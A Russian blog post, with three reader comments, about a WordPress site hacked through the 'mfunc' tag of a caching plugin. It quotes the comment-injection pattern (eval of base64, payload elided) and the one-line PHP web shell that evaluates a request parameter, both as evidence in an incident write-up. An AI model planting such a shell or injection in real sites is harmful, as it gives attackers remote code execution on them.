Подломали сайт

К сожалению, на этот раз это были не урбанисты. Вообще, политически правильно было бы обвинить последних во всех смертных грехах, начиная с поджога Рейхстага – но не в этот раз.

Ломанули довольно интересным образом, используя уязвимость в кеширующем плагине Wordpress. Как известно, популярный движок для блогов и сайтов довольно тормознут и ресурсоемок – поэтому в большинстве случаев, когда содержимое сайта представляет собой “практически статику”, достаточно создать страничку “по полной программе”, с запросами к базе, работой тупых плагинов и прочей дрянью всего лишь один раз, а затем показывать всем в течение нескольких часов копию из кеша. Казалось бы, все хорошо? Но каким-то извращенцам очень сильно понадобилась возможность обновлять части закешированной страницы. Говно вопрос! – ответили авторы кеширующих плагинов и предложили решение – “тег” mfunc. Теперь, если в коде закешированной страницы обнаруживается вот такая конструкция:

<!--mfunc function_name( 'parameter', 'another_parameter' ) -->
<!--/mfunc-->

- то при выдаче кешированной страницы выполнится PHP-код внутри этого тега. Честно говоря, я с трудом представляю сценарий, когда может понадобиться эта возможность – ну за исключением использования Wordpress, как движка не для блога (то есть нецелевого :)).

Этой фиче уже лет пять – но только в апреле этого года (!) кто-то заметил, что mfunc можно прекрасно вставить в комментарий. И тут понеслась… 27 мая у меня в блоге появился вот такой комментарий:

<!--mfunc eval(base64_decode('skipped a lot of shit')); --><!--/mfunc-->

Когда кому-то показывалась страничка с этим комментарием – то код внутри eval выполнялся, создавая в открытом на запись каталоге кеша файлик с совершенно замечательным содержанием (тоже несколько раз запакованным в base64):

ifdef($_REQUEST['abc']) eval(stripslashes($_REQUEST['abc']));

Ну вы поняли, да?

Что интересно – комментарий я заметил практически сразу. eval заменил на echo, закинул его в “Ожидающие модерации”, проверил сайт на наличие всякой дряни, ничего не нашел и решил спать спокойно. Но оказалось, что хацкер первоначальный скрипт удалил. Продолжение я увидел через несколько дней – по аномалиям в статистике сайта (заодно появились глюки в админке) – большому количеству обращений к php-скрипту с непотребным названием, типа “wxvfebf.php” (разумеется, что wxv – это Wx Vidgets, а что значит febf – я еще не придумал :)). Залез в логи, залез на FTP – и обнаружил, что говнецо неизвестный ксакеп все же отложил, заодно заменив некоторые PHP-скрипты вордпресса на что-то непотребное.

В общем, вчера от греха подальше заменил все файлы вордпресса на нормальные, из приличных источников. Возможность написания комментариев с mfunc отключил, следы пребывания ксакепа убрал. Кстати, что интересно – этот персонаж еще и пытался подобрать пароль к админке. Видимо, тоже с целью малец поднасрать.

Что дальше? Этот эпизод еще больше убеждает меня в необходимости “своего вордпресса с блекджеком и шлюхами”. Несмотря на все заявления авторов WP о том, что Wordpress “безопасен” (которые я, что характерно, читал как раз 27 мая) – убедиться в этом крайне сложно. Более того, “голый” Wordpress может быть и ничего – но он обрастает кучей плагинов, и те попросту никто и никогда не проверял ни на качество, ни на безопасность. Более того, вся эта история с mfunc – это практически сознательно заложенный бекдор.

Логичный вопрос – а почему я не обновляю Wordpress, при всех этих рассуждениях о безопасности? Причина проста – многие плагины непредсказуемо взаимодействуют с новыми версиями движка, а авторы их попросту забросили. Обновление превращается в поиск багов в довольно большой программе с невнятной архитектурой. Фактически, установленный и “настроенный под себя” Wordpress – это “форк” основной версии, а заниматься “чтением чужого кода” и поиском “что и где сломалось” не сильно интересно.

4 комментария

  1. Михаил пишет:

    Вот за это я не люблю вордпресс, когда благодаря распространенности движка его ломают все кому не лень, при это фиг найдешь нормальные противовзломные инструкции. Обычно все сводится к “обновитесь на последнюю версию”.
    Впрочем, остальные системы “из каропки” непринципиально лучше.
    Но, чисто субъективно, друпал мне нравится больше.

  2. ex-squeezedorange пишет:

    “Пилите, Шура, пилите”

  3. Сергей пишет:

    Переходи на генератор статических веб-сайтов с раздачей через какой-нибудь S3. Octopress например